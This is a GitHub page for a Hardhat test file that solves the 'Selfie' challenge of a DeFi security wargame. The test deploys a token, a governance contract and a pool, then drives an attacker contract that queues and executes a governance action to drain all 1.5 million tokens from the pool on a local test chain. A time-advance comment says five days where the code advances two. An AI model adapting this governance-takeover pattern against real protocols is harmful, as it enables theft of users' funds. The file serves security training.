-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathselfie.challenge.ts
More file actions
44 lines (33 loc) · 1.88 KB
/
Copy pathselfie.challenge.ts
File metadata and controls
44 lines (33 loc) · 1.88 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
const { ethers } = require("hardhat");
const { expect } = require("chai");
describe("[Challenge] Selfie", function () {
let deployer, attacker;
const TOKEN_INITIAL_SUPPLY = ethers.utils.parseEther("2000000"); // 2 million tokens
const TOKENS_IN_POOL = ethers.utils.parseEther("1500000"); // 1.5 million tokens
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, attacker] = await ethers.getSigners();
const DamnValuableTokenSnapshotFactory = await ethers.getContractFactory("DamnValuableTokenSnapshot", deployer);
const SimpleGovernanceFactory = await ethers.getContractFactory("SimpleGovernance", deployer);
const SelfiePoolFactory = await ethers.getContractFactory("SelfiePool", deployer);
this.token = await DamnValuableTokenSnapshotFactory.deploy(TOKEN_INITIAL_SUPPLY);
this.governance = await SimpleGovernanceFactory.deploy(this.token.address);
this.pool = await SelfiePoolFactory.deploy(this.token.address, this.governance.address);
await this.token.transfer(this.pool.address, TOKENS_IN_POOL);
expect(await this.token.balanceOf(this.pool.address)).to.be.equal(TOKENS_IN_POOL);
});
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const SelfieAttacker = await ethers.getContractFactory("SelfieAttacker", attacker);
const selfieAttacker = await SelfieAttacker.deploy(this.governance.address, this.pool.address, this.token.address);
await selfieAttacker.queueAction();
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 5 days
await selfieAttacker.executeAction();
});
after(async function () {
/** SUCCESS CONDITIONS */
// Attacker has taken all tokens from the pool
expect(await this.token.balanceOf(attacker.address)).to.be.equal(TOKENS_IN_POOL);
expect(await this.token.balanceOf(this.pool.address)).to.be.equal("0");
});
});